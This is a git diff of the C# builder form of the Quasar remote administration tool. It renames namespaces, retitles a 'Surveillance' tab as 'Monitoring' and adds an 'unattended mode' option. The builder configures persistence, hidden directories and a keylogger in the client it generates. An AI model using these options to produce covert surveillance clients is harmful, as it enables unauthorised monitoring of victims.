this.chkChangeIcon = new System.Windows.Forms.CheckBox();
@@ -117,11 +118,11 @@ private void InitializeComponent()
this.lblCopyright = new System.Windows.Forms.Label();
this.lblTrademarks = new System.Windows.Forms.Label();
this.txtCopyright = new System.Windows.Forms.TextBox();
- this.surveillanceTab = new System.Windows.Forms.TabPage();
+ this.monitoringTab = new System.Windows.Forms.TabPage();
this.chkHideLogDirectory = new System.Windows.Forms.CheckBox();
this.txtLogDirectoryName = new System.Windows.Forms.TextBox();
this.lblLogDirectory = new System.Windows.Forms.Label();
- this.line10 = new xServer.Controls.Line();
+ this.line10 = new Quasar.Server.Controls.Line();
this.label14 = new System.Windows.Forms.Label();
this.chkKeylogger = new System.Windows.Forms.CheckBox();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
@@ -135,7 +136,7 @@ private void InitializeComponent()
this.installationPage.SuspendLayout();
this.assemblyPage.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit();
- this.surveillanceTab.SuspendLayout();
+ this.monitoringTab.SuspendLayout();
this.SuspendLayout();
//
// btnBuild
@@ -150,7 +151,7 @@ private void InitializeComponent()
//
// picUAC2
//
- this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield;
+ this.picUAC2.Image = global::Quasar.Server.Properties.Resources.uac_shield;
this.picUAC2.Location = new System.Drawing.Point(363, 88);
this.picUAC2.Name = "picUAC2";
this.picUAC2.Size = new System.Drawing.Size(16, 20);
@@ -161,7 +162,7 @@ private void InitializeComponent()
//
// picUAC1
//
- this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield;
+ this.picUAC1.Image = global::Quasar.Server.Properties.Resources.uac_shield;
this.picUAC1.Location = new System.Drawing.Point(363, 68);
this.picUAC1.Name = "picUAC1";
this.picUAC1.Size = new System.Drawing.Size(16, 20);
@@ -206,7 +207,7 @@ private void InitializeComponent()
//
// removeHostToolStripMenuItem
//
- this.removeHostToolStripMenuItem.Image = global::xServer.Properties.Resources.delete;
+ this.removeHostToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete;
this.removeHostToolStripMenuItem.Name = "removeHostToolStripMenuItem";
this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(143, 22);
this.removeHostToolStripMenuItem.Text = "Remove host";
@@ -214,7 +215,7 @@ private void InitializeComponent()
//
// clearToolStripMenuItem
//
- this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom;
+ this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom;
this.clearToolStripMenuItem.Name = "clearToolStripMenuItem";
this.clearToolStripMenuItem.Size = new System.Drawing.Size(143, 22);
this.clearToolStripMenuItem.Text = "Clear all";
@@ -227,7 +228,7 @@ private void InitializeComponent()
this.builderTabs.Controls.Add(this.connectionPage);
this.builderTabs.Controls.Add(this.installationPage);
this.builderTabs.Controls.Add(this.assemblyPage);
- this.builderTabs.Controls.Add(this.surveillanceTab);
+ this.builderTabs.Controls.Add(this.monitoringTab);
this.builderTabs.Dock = System.Windows.Forms.DockStyle.Top;
this.builderTabs.ItemSize = new System.Drawing.Size(44, 136);
this.builderTabs.Location = new System.Drawing.Point(0, 0);
@@ -241,6 +242,10 @@ private void InitializeComponent()
// generalPage
//
this.generalPage.BackColor = System.Drawing.SystemColors.Control;
+ this.generalPage.Controls.Add(this.label3);
+ this.generalPage.Controls.Add(this.chkUnattendedMode);
+ this.generalPage.Controls.Add(this.line2);
+ this.generalPage.Controls.Add(this.label2);
this.generalPage.Controls.Add(this.label9);
this.generalPage.Controls.Add(this.line6);
this.generalPage.Controls.Add(this.label8);
@@ -259,6 +264,45 @@ private void InitializeComponent()
this.generalPage.TabIndex = 4;
this.generalPage.Text = "Basic Settings";
//
+ // label3
+ //
+ this.label3.AutoSize = true;
+ this.label3.Location = new System.Drawing.Point(17, 214);
+ this.label3.Name = "label3";
+ this.label3.Size = new System.Drawing.Size(354, 26);
+ this.label3.TabIndex = 24;
+ this.label3.Text = "Activating the unattended mode allows remote control of the client\r\nwithout user " +
+ "interaction.";
+ //
+ // chkUnattendedMode
+ //
+ this.chkUnattendedMode.AutoSize = true;
+ this.chkUnattendedMode.Location = new System.Drawing.Point(20, 252);
+ this.chkUnattendedMode.Name = "chkUnattendedMode";
+ this.chkUnattendedMode.Size = new System.Drawing.Size(157, 17);
+ this.chkUnattendedMode.TabIndex = 23;
+ this.chkUnattendedMode.Text = "Enable unattended mode";
+ this.chkUnattendedMode.UseVisualStyleBackColor = true;
+ this.chkUnattendedMode.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
+ //
+ // line2
+ //
+ this.line2.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
+ this.line2.Location = new System.Drawing.Point(115, 196);
+ this.line2.Name = "line2";
+ this.line2.Size = new System.Drawing.Size(270, 13);
+ this.line2.TabIndex = 22;
+ this.line2.TabStop = false;
+ //
+ // label2
+ //
+ this.label2.AutoSize = true;
+ this.label2.Location = new System.Drawing.Point(8, 196);
+ this.label2.Name = "label2";
+ this.label2.Size = new System.Drawing.Size(101, 13);
+ this.label2.TabIndex = 21;
+ this.label2.Text = "Unattended mode";
+ //
// label9
//
this.label9.AutoSize = true;
@@ -271,8 +315,8 @@ private void InitializeComponent()
//
// line6
//
- this.line6.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
- this.line6.Location = new System.Drawing.Point(83, 78);
+ this.line6.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
+ this.line6.Location = new System.Drawing.Point(85, 78);
this.line6.Name = "line6";
this.line6.Size = new System.Drawing.Size(300, 13);
this.line6.TabIndex = 20;
@@ -289,9 +333,9 @@ private void InitializeComponent()
//
// txtTag
//
- this.txtTag.Location = new System.Drawing.Point(182, 40);
+ this.txtTag.Location = new System.Drawing.Point(130, 40);
this.txtTag.Name = "txtTag";
- this.txtTag.Size = new System.Drawing.Size(203, 22);
+ this.txtTag.Size = new System.Drawing.Size(255, 22);
this.txtTag.TabIndex = 3;
this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
@@ -300,7 +344,7 @@ private void InitializeComponent()
this.label7.AutoSize = true;
this.label7.Location = new System.Drawing.Point(17, 20);
this.label7.Name = "label7";
- this.label7.Size = new System.Drawing.Size(232, 13);
+ this.label7.Size = new System.Drawing.Size(231, 13);
this.label7.TabIndex = 1;
this.label7.Text = "You can choose a tag to identify your client.";
//
@@ -315,16 +359,15 @@ private void InitializeComponent()
//
// txtMutex
//
- this.txtMutex.Location = new System.Drawing.Point(182, 130);
+ this.txtMutex.Location = new System.Drawing.Point(130, 130);
this.txtMutex.MaxLength = 64;
this.txtMutex.Name = "txtMutex";
- this.txtMutex.Size = new System.Drawing.Size(201, 22);
+ this.txtMutex.Size = new System.Drawing.Size(253, 22);
this.txtMutex.TabIndex = 7;
this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
// btnMutex
//
- this.btnMutex.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnMutex.Location = new System.Drawing.Point(262, 158);
this.btnMutex.Name = "btnMutex";
this.btnMutex.Size = new System.Drawing.Size(121, 23);
@@ -335,7 +378,7 @@ private void InitializeComponent()
//
// line5
//
- this.line5.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
+ this.line5.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
this.line5.Location = new System.Drawing.Point(112, 5);
this.line5.Name = "line5";
this.line5.Size = new System.Drawing.Size(271, 13);
@@ -367,9 +410,6 @@ private void InitializeComponent()
this.connectionPage.Controls.Add(this.numericUpDownDelay);
this.connectionPage.Controls.Add(this.line3);
this.connectionPage.Controls.Add(this.label4);
- this.connectionPage.Controls.Add(this.label3);
- this.connectionPage.Controls.Add(this.line2);
- this.connectionPage.Controls.Add(this.label2);
this.connectionPage.Controls.Add(this.line1);
this.connectionPage.Controls.Add(this.label1);
this.connectionPage.Controls.Add(this.lstHosts);
@@ -379,9 +419,6 @@ private void InitializeComponent()
this.connectionPage.Controls.Add(this.txtHost);
this.connectionPage.Controls.Add(this.lblDelay);
this.connectionPage.Controls.Add(this.lblPort);
- this.connectionPage.Controls.Add(this.chkShowPass);
- this.connectionPage.Controls.Add(this.txtPassword);
- this.connectionPage.Controls.Add(this.lblPassword);
this.connectionPage.Location = new System.Drawing.Point(140, 4);
this.connectionPage.Name = "connectionPage";
this.connectionPage.Padding = new System.Windows.Forms.Padding(3);
@@ -413,7 +450,7 @@ private void InitializeComponent()
//
// numericUpDownDelay
//
- this.numericUpDownDelay.Location = new System.Drawing.Point(276, 282);
+ this.numericUpDownDelay.Location = new System.Drawing.Point(276, 178);
this.numericUpDownDelay.Maximum = new decimal(new int[] {
600000,
0,
@@ -431,8 +468,8 @@ private void InitializeComponent()
//
// line3
//
- this.line3.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
- this.line3.Location = new System.Drawing.Point(95, 263);
+ this.line3.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
+ this.line3.Location = new System.Drawing.Point(95, 159);
this.line3.Name = "line3";
this.line3.Size = new System.Drawing.Size(290, 13);
this.line3.TabIndex = 18;
@@ -441,43 +478,15 @@ private void InitializeComponent()
// label4
//
this.label4.AutoSize = true;
- this.label4.Location = new System.Drawing.Point(6, 263);
+ this.label4.Location = new System.Drawing.Point(6, 159);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(92, 13);
this.label4.TabIndex = 17;
this.label4.Text = "Reconnect Delay";
//
- // label3
- //
- this.label3.AutoSize = true;
- this.label3.ForeColor = System.Drawing.Color.SteelBlue;
- this.label3.Location = new System.Drawing.Point(17, 179);
- this.label3.Name = "label3";
- this.label3.Size = new System.Drawing.Size(318, 13);
- this.label3.TabIndex = 16;
- this.label3.Text = "Don\'t forget to set the same password in the server settings.";
- //
- // line2
- //
- this.line2.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
- this.line2.Location = new System.Drawing.Point(123, 161);
- this.line2.Name = "line2";
- this.line2.Size = new System.Drawing.Size(260, 13);
- this.line2.TabIndex = 15;
- this.line2.TabStop = false;
- //
- // label2
- //
- this.label2.AutoSize = true;
- this.label2.Location = new System.Drawing.Point(6, 161);
- this.label2.Name = "label2";
- this.label2.Size = new System.Drawing.Size(121, 13);
- this.label2.TabIndex = 14;
- this.label2.Text = "Encrypted Connection";
- //
// line1
//
- this.line1.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
+ this.line1.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
this.line1.Location = new System.Drawing.Point(104, 5);
this.line1.Name = "line1";
this.line1.Size = new System.Drawing.Size(281, 13);
@@ -516,7 +525,7 @@ private void InitializeComponent()
// lblMS
//
this.lblMS.AutoSize = true;
- this.lblMS.Location = new System.Drawing.Point(356, 287);
+ this.lblMS.Location = new System.Drawing.Point(356, 183);
this.lblMS.Name = "lblMS";
this.lblMS.Size = new System.Drawing.Size(21, 13);
this.lblMS.TabIndex = 11;
@@ -541,9 +550,9 @@ private void InitializeComponent()
// lblDelay
//
this.lblDelay.AutoSize = true;
- this.lblDelay.Location = new System.Drawing.Point(17, 286);
+ this.lblDelay.Location = new System.Drawing.Point(17, 182);
this.lblDelay.Name = "lblDelay";
- this.lblDelay.Size = new System.Drawing.Size(199, 13);
+ this.lblDelay.Size = new System.Drawing.Size(200, 13);
this.lblDelay.TabIndex = 9;
this.lblDelay.Text = "Time to wait between reconnect tries:";
//
@@ -556,38 +565,10 @@ private void InitializeComponent()
this.lblPort.TabIndex = 2;
this.lblPort.Text = "Port:";
//
- // chkShowPass
- //
- this.chkShowPass.AutoSize = true;
- this.chkShowPass.Location = new System.Drawing.Point(276, 228);
- this.chkShowPass.Name = "chkShowPass";
- this.chkShowPass.Size = new System.Drawing.Size(107, 17);
- this.chkShowPass.TabIndex = 8;
- this.chkShowPass.Text = "Show Password";
- this.chkShowPass.UseVisualStyleBackColor = true;
- this.chkShowPass.CheckedChanged += new System.EventHandler(this.chkShowPass_CheckedChanged);
- //
- // txtPassword
- //
- this.txtPassword.Location = new System.Drawing.Point(182, 200);
- this.txtPassword.Name = "txtPassword";
- this.txtPassword.PasswordChar = '•';
- this.txtPassword.Size = new System.Drawing.Size(201, 22);
- this.txtPassword.TabIndex = 7;
- this.txtPassword.TextChanged += new System.EventHandler(this.HasChangedSetting);
- //
- // lblPassword
- //
- this.lblPassword.AutoSize = true;
- this.lblPassword.Location = new System.Drawing.Point(17, 203);
- this.lblPassword.Name = "lblPassword";
- this.lblPassword.Size = new System.Drawing.Size(59, 13);
- this.lblPassword.TabIndex = 6;
- this.lblPassword.Text = "Password:";
- //
// installationPage
//
this.installationPage.BackColor = System.Drawing.SystemColors.Control;
+ this.installationPage.Controls.Add(this.chkHideSubDirectory);
this.installationPage.Controls.Add(this.line7);
this.installationPage.Controls.Add(this.label10);
this.installationPage.Controls.Add(this.line4);
@@ -596,19 +577,19 @@ private void InitializeComponent()
this.installationPage.Controls.Add(this.picUAC1);
this.installationPage.Controls.Add(this.chkInstall);
this.installationPage.Controls.Add(this.rbSystem);
- this.installationPage.Controls.Add(this.lblInstallname);
+ this.installationPage.Controls.Add(this.lblInstallName);
this.installationPage.Controls.Add(this.rbProgramFiles);
- this.installationPage.Controls.Add(this.txtInstallname);
+ this.installationPage.Controls.Add(this.txtInstallName);
this.installationPage.Controls.Add(this.txtRegistryKeyName);
this.installationPage.Controls.Add(this.lblExtension);
this.installationPage.Controls.Add(this.lblRegistryKeyName);
this.installationPage.Controls.Add(this.chkStartup);
this.installationPage.Controls.Add(this.rbAppdata);
this.installationPage.Controls.Add(this.chkHide);
- this.installationPage.Controls.Add(this.lblInstallpath);
- this.installationPage.Controls.Add(this.lblInstallsub);
+ this.installationPage.Controls.Add(this.lblInstallDirectory);
+ this.installationPage.Controls.Add(this.lblInstallSubDirectory);
this.installationPage.Controls.Add(this.lblPreviewPath);
- this.installationPage.Controls.Add(this.txtInstallsub);
+ this.installationPage.Controls.Add(this.txtInstallSubDirectory);
this.installationPage.Controls.Add(this.txtPreviewPath);
this.installationPage.Location = new System.Drawing.Point(140, 4);
this.installationPage.Name = "installationPage";
@@ -617,9 +598,19 @@ private void InitializeComponent()
this.installationPage.TabIndex = 1;
this.installationPage.Text = "Installation Settings";
//
+ // chkHideSubDirectory
+ //
+ this.chkHideSubDirectory.AutoSize = true;
+ this.chkHideSubDirectory.Location = new System.Drawing.Point(186, 185);
+ this.chkHideSubDirectory.Name = "chkHideSubDirectory";
+ this.chkHideSubDirectory.Size = new System.Drawing.Size(185, 17);
+ this.chkHideSubDirectory.TabIndex = 37;
+ this.chkHideSubDirectory.Text = "Set subdir attributes to hidden";
+ this.chkHideSubDirectory.UseVisualStyleBackColor = true;
+ //
// line7
//
- this.line7.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
+ this.line7.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
this.line7.Location = new System.Drawing.Point(60, 274);
this.line7.Name = "line7";
this.line7.Size = new System.Drawing.Size(323, 13);
@@ -637,7 +628,7 @@ private void InitializeComponent()
//
// line4
//
- this.line4.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
+ this.line4.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
this.line4.Location = new System.Drawing.Point(117, 5);
this.line4.Name = "line4";
this.line4.Size = new System.Drawing.Size(266, 13);
@@ -664,23 +655,23 @@ private void InitializeComponent()
this.chkInstall.UseVisualStyleBackColor = true;
this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged);
//
- // lblInstallname
+ // lblInstallName
//
- this.lblInstallname.AutoSize = true;
- this.lblInstallname.Location = new System.Drawing.Point(17, 156);
- this.lblInstallname.Name = "lblInstallname";
- this.lblInstallname.Size = new System.Drawing.Size(73, 13);
- this.lblInstallname.TabIndex = 8;
- this.lblInstallname.Text = "Install Name:";
+ this.lblInstallName.AutoSize = true;
+ this.lblInstallName.Location = new System.Drawing.Point(17, 156);
+ this.lblInstallName.Name = "lblInstallName";
+ this.lblInstallName.Size = new System.Drawing.Size(73, 13);
+ this.lblInstallName.TabIndex = 8;
+ this.lblInstallName.Text = "Install Name:";
//
- // txtInstallname
+ // txtInstallName
//
- this.txtInstallname.Location = new System.Drawing.Point(182, 153);
- this.txtInstallname.Name = "txtInstallname";
- this.txtInstallname.Size = new System.Drawing.Size(170, 22);
- this.txtInstallname.TabIndex = 9;
- this.txtInstallname.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
- this.txtInstallname.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress);
+ this.txtInstallName.Location = new System.Drawing.Point(182, 153);
+ this.txtInstallName.Name = "txtInstallName";
+ this.txtInstallName.Size = new System.Drawing.Size(170, 22);
+ this.txtInstallName.TabIndex = 9;
+ this.txtInstallName.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
+ this.txtInstallName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress);
//
// txtRegistryKeyName
//
@@ -743,23 +734,23 @@ private void InitializeComponent()
this.chkHide.UseVisualStyleBackColor = true;
this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
- // lblInstallpath
+ // lblInstallDirectory
//
- this.lblInstallpath.AutoSize = true;
- this.lblInstallpath.Location = new System.Drawing.Point(17, 47);
- this.lblInstallpath.Name = "lblInstallpath";
- this.lblInstallpath.Size = new System.Drawing.Size(67, 13);
- this.lblInstallpath.TabIndex = 2;
- this.lblInstallpath.Text = "Install Path:";
+ this.lblInstallDirectory.AutoSize = true;
+ this.lblInstallDirectory.Location = new System.Drawing.Point(17, 47);
+ this.lblInstallDirectory.Name = "lblInstallDirectory";
+ this.lblInstallDirectory.Size = new System.Drawing.Size(90, 13);
+ this.lblInstallDirectory.TabIndex = 2;
+ this.lblInstallDirectory.Text = "Install Directory:";
//
- // lblInstallsub
+ // lblInstallSubDirectory
//
- this.lblInstallsub.AutoSize = true;
- this.lblInstallsub.Location = new System.Drawing.Point(17, 126);
- this.lblInstallsub.Name = "lblInstallsub";
- this.lblInstallsub.Size = new System.Drawing.Size(95, 13);
- this.lblInstallsub.TabIndex = 6;
- this.lblInstallsub.Text = "Install Subfolder:";
+ this.lblInstallSubDirectory.AutoSize = true;
+ this.lblInstallSubDirectory.Location = new System.Drawing.Point(17, 126);
+ this.lblInstallSubDirectory.Name = "lblInstallSubDirectory";
+ this.lblInstallSubDirectory.Size = new System.Drawing.Size(109, 13);
+ this.lblInstallSubDirectory.TabIndex = 6;
+ this.lblInstallSubDirectory.Text = "Install Subdirectory:";
//
// lblPreviewPath
//
@@ -770,14 +761,14 @@ private void InitializeComponent()
this.lblPreviewPath.TabIndex = 12;
this.lblPreviewPath.Text = "Installation Location Preview:";
//
- // txtInstallsub
+ // txtInstallSubDirectory
//
- this.txtInstallsub.Location = new System.Drawing.Point(182, 123);
- this.txtInstallsub.Name = "txtInstallsub";
- this.txtInstallsub.Size = new System.Drawing.Size(201, 22);
- this.txtInstallsub.TabIndex = 7;
- this.txtInstallsub.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
- this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress);
+ this.txtInstallSubDirectory.Location = new System.Drawing.Point(182, 123);
+ this.txtInstallSubDirectory.Name = "txtInstallSubDirectory";
+ this.txtInstallSubDirectory.Size = new System.Drawing.Size(201, 22);
+ this.txtInstallSubDirectory.TabIndex = 7;
+ this.txtInstallSubDirectory.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath);
+ this.txtInstallSubDirectory.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress);
//
// txtPreviewPath
//
@@ -850,7 +841,7 @@ private void InitializeComponent()
//
// line8
//
- this.line8.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
+ this.line8.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
this.line8.Location = new System.Drawing.Point(122, 5);
this.line8.Name = "line8";
this.line8.Size = new System.Drawing.Size(261, 13);
@@ -887,7 +878,7 @@ private void InitializeComponent()
//
// line9
//
- this.line9.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
+ this.line9.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
this.line9.Location = new System.Drawing.Point(83, 276);
this.line9.Name = "line9";
this.line9.Size = new System.Drawing.Size(300, 13);
@@ -928,7 +919,7 @@ private void InitializeComponent()
this.lblFileVersion.AutoSize = true;
this.lblFileVersion.Location = new System.Drawing.Point(17, 243);
this.lblFileVersion.Name = "lblFileVersion";
- this.lblFileVersion.Size = new System.Drawing.Size(70, 13);
+ this.lblFileVersion.Size = new System.Drawing.Size(69, 13);
this.lblFileVersion.TabIndex = 15;
this.lblFileVersion.Text = "File Version:";
//
@@ -962,7 +953,7 @@ private void InitializeComponent()
this.lblProductVersion.AutoSize = true;
this.lblProductVersion.Location = new System.Drawing.Point(17, 215);
this.lblProductVersion.Name = "lblProductVersion";
- this.lblProductVersion.Size = new System.Drawing.Size(92, 13);
+ this.lblProductVersion.Size = new System.Drawing.Size(91, 13);
this.lblProductVersion.TabIndex = 13;
this.lblProductVersion.Text = "Product Version:";
//
@@ -1042,29 +1033,29 @@ private void InitializeComponent()
this.txtCopyright.TabIndex = 8;
this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting);
//
- // surveillanceTab
- //
- this.surveillanceTab.BackColor = System.Drawing.SystemColors.Control;
- this.surveillanceTab.Controls.Add(this.chkHideLogDirectory);
- this.surveillanceTab.Controls.Add(this.txtLogDirectoryName);
- this.surveillanceTab.Controls.Add(this.lblLogDirectory);
- this.surveillanceTab.Controls.Add(this.line10);
- this.surveillanceTab.Controls.Add(this.label14);
- this.surveillanceTab.Controls.Add(this.chkKeylogger);
- this.surveillanceTab.Location = new System.Drawing.Point(140, 4);
- this.surveillanceTab.Name = "surveillanceTab";
- this.surveillanceTab.Size = new System.Drawing.Size(391, 376);
- this.surveillanceTab.TabIndex = 3;
- this.surveillanceTab.Text = "Surveillance Settings";
+ // monitoringTab
+ //
+ this.monitoringTab.BackColor = System.Drawing.SystemColors.Control;
+ this.monitoringTab.Controls.Add(this.chkHideLogDirectory);
+ this.monitoringTab.Controls.Add(this.txtLogDirectoryName);
+ this.monitoringTab.Controls.Add(this.lblLogDirectory);
+ this.monitoringTab.Controls.Add(this.line10);
+ this.monitoringTab.Controls.Add(this.label14);
+ this.monitoringTab.Controls.Add(this.chkKeylogger);
+ this.monitoringTab.Location = new System.Drawing.Point(140, 4);
+ this.monitoringTab.Name = "monitoringTab";
+ this.monitoringTab.Size = new System.Drawing.Size(391, 376);
+ this.monitoringTab.TabIndex = 3;
+ this.monitoringTab.Text = "Monitoring Settings";
//
// chkHideLogDirectory
//
this.chkHideLogDirectory.AutoSize = true;
- this.chkHideLogDirectory.Location = new System.Drawing.Point(316, 72);
+ this.chkHideLogDirectory.Location = new System.Drawing.Point(20, 72);
this.chkHideLogDirectory.Name = "chkHideLogDirectory";
- this.chkHideLogDirectory.Size = new System.Drawing.Size(64, 17);
+ this.chkHideLogDirectory.Size = new System.Drawing.Size(197, 17);
this.chkHideLogDirectory.TabIndex = 7;
- this.chkHideLogDirectory.Text = "Hidden";
+ this.chkHideLogDirectory.Text = "Set directory attributes to hidden";
this.chkHideLogDirectory.UseVisualStyleBackColor = true;
this.chkHideLogDirectory.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
//
@@ -1088,10 +1079,10 @@ private void InitializeComponent()
//
// line10
//
- this.line10.LineAlignment = xServer.Controls.Line.Alignment.Horizontal;
- this.line10.Location = new System.Drawing.Point(72, 5);
+ this.line10.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal;
+ this.line10.Location = new System.Drawing.Point(78, 5);
this.line10.Name = "line10";
- this.line10.Size = new System.Drawing.Size(308, 13);
+ this.line10.Size = new System.Drawing.Size(302, 13);
this.line10.TabIndex = 41;
this.line10.TabStop = false;
//
@@ -1100,9 +1091,9 @@ private void InitializeComponent()
this.label14.AutoSize = true;
this.label14.Location = new System.Drawing.Point(6, 5);
this.label14.Name = "label14";
- this.label14.Size = new System.Drawing.Size(68, 13);
+ this.label14.Size = new System.Drawing.Size(66, 13);
this.label14.TabIndex = 3;
- this.label14.Text = "Surveillance";
+ this.label14.Text = "Monitoring";
//
// chkKeylogger
//
@@ -1113,12 +1104,12 @@ private void InitializeComponent()
this.chkKeylogger.TabIndex = 4;
this.chkKeylogger.Text = "Enable keyboard logging";
this.chkKeylogger.UseVisualStyleBackColor = true;
- this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
+ this.chkKeylogger.CheckedChanged += new System.EventHandler(this.chkKeylogger_CheckedChanged);
//
// FrmBuilder
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.BackColor = System.Drawing.SystemColors.Control;
this.ClientSize = new System.Drawing.Size(535, 424);
this.Controls.Add(this.builderTabs);
@@ -1148,31 +1139,27 @@ private void InitializeComponent()
this.assemblyPage.ResumeLayout(false);
this.assemblyPage.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit();
- this.surveillanceTab.ResumeLayout(false);
- this.surveillanceTab.PerformLayout();
+ this.monitoringTab.ResumeLayout(false);
+ this.monitoringTab.PerformLayout();
this.ResumeLayout(false);
}
#endregion
-
- private System.Windows.Forms.CheckBox chkShowPass;
- private System.Windows.Forms.TextBox txtPassword;
- private System.Windows.Forms.Label lblPassword;
private System.Windows.Forms.Label lblPort;
private System.Windows.Forms.TextBox txtHost;
private System.Windows.Forms.Label lblHost;
private System.Windows.Forms.Label lblDelay;
private System.Windows.Forms.CheckBox chkInstall;
- private System.Windows.Forms.TextBox txtInstallname;
- private System.Windows.Forms.Label lblInstallname;
+ private System.Windows.Forms.TextBox txtInstallName;
+ private System.Windows.Forms.Label lblInstallName;
private System.Windows.Forms.TextBox txtMutex;
private System.Windows.Forms.Label lblMutex;
private System.Windows.Forms.Label lblExtension;
- private System.Windows.Forms.Label lblInstallpath;
+ private System.Windows.Forms.Label lblInstallDirectory;
private System.Windows.Forms.RadioButton rbAppdata;
- private System.Windows.Forms.TextBox txtInstallsub;
- private System.Windows.Forms.Label lblInstallsub;
+ private System.Windows.Forms.TextBox txtInstallSubDirectory;
+ private System.Windows.Forms.Label lblInstallSubDirectory;
private System.Windows.Forms.Label lblPreviewPath;
private System.Windows.Forms.TextBox txtPreviewPath;
private System.Windows.Forms.Button btnMutex;
@@ -1210,7 +1197,7 @@ private void InitializeComponent()
private System.Windows.Forms.TabPage connectionPage;
private System.Windows.Forms.TabPage installationPage;
private System.Windows.Forms.TabPage assemblyPage;
- private System.Windows.Forms.TabPage surveillanceTab;
+ private System.Windows.Forms.TabPage monitoringTab;
private System.Windows.Forms.ListBox lstHosts;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip;
private System.Windows.Forms.Button btnAddHost;
@@ -1219,9 +1206,6 @@ private void InitializeComponent()
private System.Windows.Forms.Label label1;
private Controls.Line line3;
private System.Windows.Forms.Label label4;
- private System.Windows.Forms.Label label3;
- private Controls.Line line2;
- private System.Windows.Forms.Label label2;
private Controls.Line line4;
private System.Windows.Forms.Label label5;
private System.Windows.Forms.TabPage generalPage;
@@ -1250,5 +1234,10 @@ private void InitializeComponent()
private System.Windows.Forms.CheckBox chkHideLogDirectory;
private System.Windows.Forms.NumericUpDown numericUpDownDelay;
private System.Windows.Forms.NumericUpDown numericUpDownPort;
+ private System.Windows.Forms.CheckBox chkHideSubDirectory;
+ private System.Windows.Forms.CheckBox chkUnattendedMode;
+ private Line line2;
+ private System.Windows.Forms.Label label2;
+ private System.Windows.Forms.Label label3;
}
}
diff --git a/Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs
similarity index 66%
rename from Server/Forms/FrmBuilder.cs
rename to Quasar.Server/Forms/FrmBuilder.cs
index 96b7734d8..0187f7367 100644
--- a/Server/Forms/FrmBuilder.cs
+++ b/Quasar.Server/Forms/FrmBuilder.cs
@@ -1,44 +1,49 @@
-using System;
+using Quasar.Common.DNS;
+using Quasar.Common.Helpers;
+using Quasar.Server.Build;
+using Quasar.Server.Models;
+using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
using System.Windows.Forms;
-using xServer.Core.Build;
-using xServer.Core.Data;
-using xServer.Core.Helper;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
public partial class FrmBuilder : Form
{
private bool _profileLoaded;
private bool _changed;
- private BindingList _hosts = new BindingList();
+ private readonly BindingList _hosts = new BindingList();
+ private readonly HostsConverter _hostsConverter = new HostsConverter();
public FrmBuilder()
{
InitializeComponent();
}
- private void LoadProfile(string profilename)
+ private void LoadProfile(string profileName)
{
- var profile = new BuilderProfile(profilename);
+ var profile = new BuilderProfile(profileName);
- foreach (var host in HostHelper.GetHostsList(profile.Hosts))
+ _hosts.Clear();
+ foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts))
_hosts.Add(host);
- lstHosts.DataSource = new BindingSource(_hosts, null);
txtTag.Text = profile.Tag;
- txtPassword.Text = profile.Password;
